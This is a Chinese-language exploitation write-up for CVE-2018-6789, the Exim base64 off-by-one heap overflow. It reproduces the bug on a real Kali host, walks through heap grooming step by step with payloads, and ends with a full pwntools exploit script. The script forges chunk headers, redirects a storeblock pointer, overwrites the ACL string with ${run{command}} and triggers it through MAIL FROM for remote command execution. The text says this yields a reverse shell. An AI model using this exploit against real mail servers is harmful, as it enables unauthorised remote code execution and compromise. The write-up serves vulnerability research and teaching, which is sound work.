Exim off-by-one漏洞真实环境的利用分析

1 前言

Exim是基于Linux平台的开源邮件服务器,在2018年2月爆出了堆溢出漏洞(CVE-2018-6789),影响4.91之前的所有版本。该漏洞由研究员Meh发现,并在blog中提供了利用漏洞实现远程代码执行的思路。目前Meh并没有公开漏洞利用代码,但根据其漏洞利用思路,有研究员在docker中搭建漏洞环境,并结合爆破的思路成功实现远程命令执行,并且公布了利用代码,但docker毕竟不是真实环境。虽然也有研究员在Ubuntu的真实环境中对漏洞进行了复现,但细节部分并未解释透彻(可能是我能力水平不够),也没有公布利用代码。
因此,我根据docker环境中的利用脚本,在真实环境中进行了漏洞复现,初次尝试Linux软件漏洞调试,踩了不少坑。下面我将自己的复现过程介绍一下,如有错误,敬请指正。

 

2 环境搭建

系统环境

Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64 GNU/Linux

编译环境

ldd (Debian GLIBC 2.27-2) 2.27

exim安装

apt-get -y update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y \
wget \
xz-utils \
make \
gcc \
libpcre++-dev \
libdb-dev \
libxt-dev \
libxaw7-dev \
tzdata \
telnet && \
rm -rf /var/lib/apt/lists/*
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && \
tar xf exim-4.89.tar.xz && cd exim-4.89 && \
cp src/EDITME Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf && \
sed -i ‘s/# AUTH_CRAM_MD5=yes/AUTH_CRAM_MD5=yes/’ Local/Makefile && \
sed -i ‘s/^EXIM_USER=/EXIM_USER=exim/’ Local/Makefile && \
useradd exim && make && mkdir -p /var/spool/exim/log && \
cd /var/spool/exim/log && touch mainlog paniclog rejectlog && \
chown exim mainlog paniclog rejectlog && \
echo “Asia/Shanghai” > /etc/timezone && \
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

配置文件内容

acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1

 

exim启动命令

./exim –bd –d-receive –C conf.conf

 

3 漏洞原理

Exim分配3*(len/4)+1字节空间存储base64解码后的数据。如果解码前数据有4n+3个字节,exim会分配3n+1字节空间,但实际解码后的数据有3n+2字节,导致在堆上溢出一个字节,属于经典的off-by-one漏洞。

 

4 exim内存管理

4.1 chunk结构

glibc在chunk开头使用0x10字节(x86-64)存储相关信息,包含前一个chunk的大小、当前chunk大小和标志位(相关基础知识自行查看Linux堆管理内容)。Size的前三位表示标志位,最后一位表示前一个chunk是否被使用。如下图0x81表示当前chunk大小是0x80字节,且前一个chunk正在被使用。

4.2 storeblock结构

exim在libc提供的堆管理机制的基础上实现了一套自己的管理堆块的方法,引入了storepool、storeblock的概念。store pool是一个单链表结构,每一个节点都是一个storeblock,每个store block的数据大小至少为0x2000。storeblock的结构包含在chunk中,在chunk的基础上多包含一个指向下一个storeblock的next指针和当前storeblock的大小,如下图所示。

4.3 storeblock的管理

下图展示了一个storepool的完整的数据存储方式,chainbase是头结点,指向第一个storeblock,current_block是尾节点,指向链表中的最后一个节点。store_last_get指向current_block中最后分配的空间,next_yield指向下一次要分配空间时的起始位置,yield_length则表示当前store_block中剩余的可分配字节数。当current_block中的剩余字节数(yield_length)小于请求分配的字节数时,会调用malloc分配一个新的storeblock块,然后从该storeblock中分配需要的空间。

4.4 堆分配函数及规则

在exim中使用的大部分已释放的chunk会被放入unsorted bin双向链表(相关基础知识自行查看Linux堆管理内容)。glibc根据标识进行维护,维护中会将相邻且已释放的chunk合并成一个更大的chunk,避免碎片化。对于每个内存分配请求,glibc都会按照FIFO的顺序检查unsorted bin里的chunk并重新使用。exim采用store_get()、store_release()、store_extend()和store_reset()维护自己的链表结构。
(1)EHLO hostname:exim调用store_free()函数释放旧的hostname,调用store_malloc()函数存储新的hostname。
(2)unrecongnized command:exim调用store_get()函数分配一段内存将不可打印字符转换为可打印字符。
(3)AUTH:在多数身份验证中,exim采用base64编码与客户端通信,编码和解码的字符串存在store_get()函数分配的缓冲区。
(4)EHLO/HELO、MAIL、RCPT中的reset功能:当命令正确完成时,exim调用smtp_reset(),释放上一个命令之后所有由store_get()分配的storeblock。

 

5 漏洞复现

5.1 发送ehlo布局堆空间

ehlo(s, "a"*0x1000)
ehlo(s, "a"*0x20)

形成一个0x7040字节大小的unsorted bin。

此时的堆布局如下图所示。

5.2 发送unrecongnized command

docmd(s, "xee"*0x700)

从unsorted bin分配新的storeblock。发送的unrecongnized command的大小满足length + nonprintcount*3 + 1 > yield_length,store_get函数就能调用malloc函数分配一个新的storeblock。


此时的堆布局如下图所示。

5.3 发送ehlo回收unrecongnized command分配的内存

ehlo(s, "c"*(0x2c00))

ehlo 0x2c00字节,回收unrecongnized command分配的内存,空出0x2020个字节。在docker环境的调试中,有研究人员提到,由于之前的ehlo(s, "a"*0x20)占用的0x30字节的内存释放,会空出0x30+0x2020=0x2050字节空间内存,但我的真实环境却不是这样。

如上图所示,之前ehlo(s, "a"*0x20)占用的0x30字节内存并未释放,只空出0x2020字节空间。此时的堆布局如下图所示。

5.4 发送auth,触发off-by-one漏洞,修改chunk大小

docmd(s, "AUTH CRAM-MD5")
payload1 = "d"*(0x2020-0x18-1)
docmd(s, b64encode(payload1)+"EfE")

payload1 = "d"*(0x2020-0x18-1)这句代码跟docker环境中的代码不一样,少加了一个0x30,上一步中已经说明实际环境中ehlo(s, "a"*0x20)占用的0x30字节内存并未释放。


此时的堆布局如下图所示。

从0x2c10被溢出为0x2cf1,下一个chunk应该从0x5656564ea050 + 0x2cf0 = 0x5656564ecd40开始,现在这里并没有chunk信息,下一步需要在这里伪造chunk信息。

5.5 发送auth,伪造chunk信息

docmd(s, "AUTH CRAM-MD5")
payload2 = p64(0x1f41)+'m'*0x70 # modify fake size
docmd(s, b64encode(payload2))

伪造chunk头。


此时的堆布局如下图所示。

5.6 释放被改掉大小的chunk

ehlo(s, "a+")

为了不释放其他的storeblock,发送包含无效字符的信息。

此时的堆布局如下图所示。

5.7 发送auth数据,修改storeblock的next指针,指向acl字符串所在的chunk

docmd(s, "AUTH CRAM-MD5")
acl_chunk = p64(0x5653564c1000+0x66f0)  #acl_chunkr = &heap_base + 0x66f0
payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + acl_chunk
docmd(s, b64encode(payload3)) # fake chunk header and storeblock next

0x5653564c1000是exim运行时堆的基地址。

exim有一组全局指针指向ACL字符串。指针在exim启动时初始化,根据配置文件进行设置。配置文件中包含acl_smtp_mail=acl_check_mail,因此指针acl_smtp_mail始终指向acl_check_mail,只要碰到MAIL FROM,exim就会执行acl检查。因此只要覆盖acl字符串为${run{command}},exim便会调用execv执行command命令,实现远程命令执行,而且还能绕过PIE、NX等限制。通过x /18xg &acl_smtp_mail可以得到acl_check_mail字符串的地址,从而可以找到acl_check_mail所在chunk的地址(本例中为0x5653564c7778),我经过调试和计算,acl_check_mail字符串所在堆的地址也可以通过堆基地址加上0x66f0的偏移得到。

修改storeblock的next指针,指向acl字符串所在的chunk,本例中就是0x5653564c76f0。

此时的堆布局如下图所示。

5.8 释放storeblock,包含acl的storeblock被回收到unsorted bin中

ehlo(s, 'crashed')


此时,unsorted bin中有两个大小为0x2020的chunk(0x5653564e8040、0x5653564ecc70),下一步就是先占用这两个0x2020字节大小的unsorted bin,然后覆盖0x5653564c76f0这个chunk。

5.9 发送auth数据,覆盖acl_check_mail字符串

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')

占用第一个0x2020字节大小的chunk:0x5653564e8040。解释一下,这里也是用伪造chunk的方法,首先伪造一个0xb0大小的chunk,然后伪造一个0x1f40大小的chunk,这样来达到占用0x2020大小chunk的目的。

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'AA')

占用第二个0x2020字节大小的chunk:0x5653564ecc70。

此时的堆布局就可以开始覆盖地址为0x5653564c76f0的chunk了。

payload5 = "a"*0x78 + "${run{" + command + "}}x00"
auth(s, b64encode(payload5)+"AA")


这里需要提一下就是,command命令长度是有限制的,否则会覆盖后面的日志文件路径字符串,导致exim进入其他错误处理流程而不调用execv函数执行command命令。

5.10 触发acl检查

s.sendline("MAIL FROM: <test@163.com>")

触发acl检查,执行/bin/bash命令,反弹shell,效果如下图所示。


这里需要说明的是反弹的shell不是root权限,而是用户exim权限。

 

6 总结与思考

该漏洞利用条件是比较苛刻的,exim的配置必须开启CRAM-MD5认证,其次exim的启动参数不同会造成堆布局不同,还有必须获取exim运行时堆的地址,才能准确覆盖acl字符串,docker环境中可以选择爆破,但真实环境中在不知道exim程序基地址的情况下采用爆破显然不大可取。如果大家有什么好的思路可以获取exim的堆地址,可以交流一下。

 

7 参考

http://www.freebuf.com/vuls/166519.html
https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
https://bbs.pediy.com/thread-225986.htm
https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
https://paper.seebug.org/557/

 

附EXP

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
from base64 import b64encode
def ehlo(tube, who):
    time.sleep(0.2)
    try:
       tube.sendline("ehlo "+who)
       tube.recvline()
    except:
       print("Error sending ehlo data")

def docmd(tube, command):
    time.sleep(0.2)
    try:
       tube.sendline(command)
       tube.recvline()
    except:
       print("Error sending docmd data")

def auth(tube, command):
    time.sleep(0.2)
    try:
       tube.sendline("AUTH CRAM-MD5")
       tube.recvline()
       time.sleep(0.2)
       tube.sendline(command)
       tube.recvline()
    except:
       print("Error sending auth data")

def execute_command(acl_chunk, command):
    context.log_level='warning'
    s = remote(ip, 25)
    # 1. put a huge chunk into unsorted bin 
    print("[+]1.send ehlo, make unsorted binn")
    ehlo(s, "a"*0x1000) # 0x2020
    ehlo(s, "a"*0x20)
    raw_input("make unsorted bin: 0x7040n")

    # 2. cut the first storeblock by unknown command
    print("[+]2.send unknown commandn")
    docmd(s, "xee"*0x700)
    raw_input("""docmd(s, "xee"*0x700)n""")

    # 3. cut the second storeblock and release the first one
    print("[+]3.send ehlo again to cut storeblockn")
    ehlo(s, "c"*(0x2c00))
    raw_input("""ehlo(s, "c"*(0x2c00))n""")

    # 4. send base64 data and trigger off-by-one
    print("[+]4.overwrite one byte of next chunkn")
    docmd(s, "AUTH CRAM-MD5")
    payload1 = "d"*(0x2020-0x18-1)
    docmd(s, b64encode(payload1)+"EfE")
    raw_input("after payload1n")

    # 5. forge chunk size
    print("[+]5.forge chunk sizen")
    docmd(s, "AUTH CRAM-MD5")
    payload2 = p64(0x1f41)+'m'*0x70 # modify fake size
    docmd(s, b64encode(payload2))
    raw_input("modified fake sizen")

    # 6. relase extended chunk
    print("[+]6.resend ehlo, elase extended chunkn")
    ehlo(s, "a+")
    raw_input("ehlo(s, 'a+')")

    # 7. overwrite next pointer of overlapped storeblock
    print("[+]7.overwrite next pointer of overlapped storeblockn")
    docmd(s, "AUTH CRAM-MD5")
    raw_input("docmd(s, 'AUTH CRAM-MD5')n")
    acl_chunk = p64(0x5653564c1000+0x66f0)  #acl_chunk = &heap_base + 0x66f0
    payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + acl_chunk
    try:
        docmd(s, b64encode(payload3)) # fake chunk header and storeblock next
        raw_input("after payload3")

        # 8. reset storeblocks and retrive the ACL storeblock
        print("[+]8.reset storeblockn")
        #ehlo(s, 'crashed') released
        ehlo(s, 'crashed')
        raw_input("ehlo(s, 'crashed')")

        # 9. overwrite acl strings
        print("[+]9.overwrite acl stringsn")
        #Occupy the first 0x2020 chunk
        payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
        payload4 += 't'*(0x1f80-len(payload4))
        auth(s, b64encode(payload4)+'ee')
        #Occupy the second 0x2020 chunk
        payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
        payload4 += 't'*(0x1f80-len(payload4))
        auth(s, b64encode(payload4)+'AA')
        raw_input("after payload4")
        #overwrite acl strings with shell payload
        payload5 = "a"*0x78 + "${run{" + command + "}}x00"
        auth(s, b64encode(payload5)+"AA")
        raw_input("after payload5")

        # 10. trigger acl check
        print("[+]10.trigger acl check and execute commandn")
        time.sleep(0.2)
        s.sendline("MAIL FROM: <test@163.com>")
        s.close()
        return 1
    except Exception, e:
        print('Error:%s'%e)
        s.close()
        return 0
if __name__ == "__main__":
   if len(sys.argv) > 0:
      ip = '127.0.0.1'
      acl_chunk = 0x0
      execute_command(acl_chunk, command)
(完)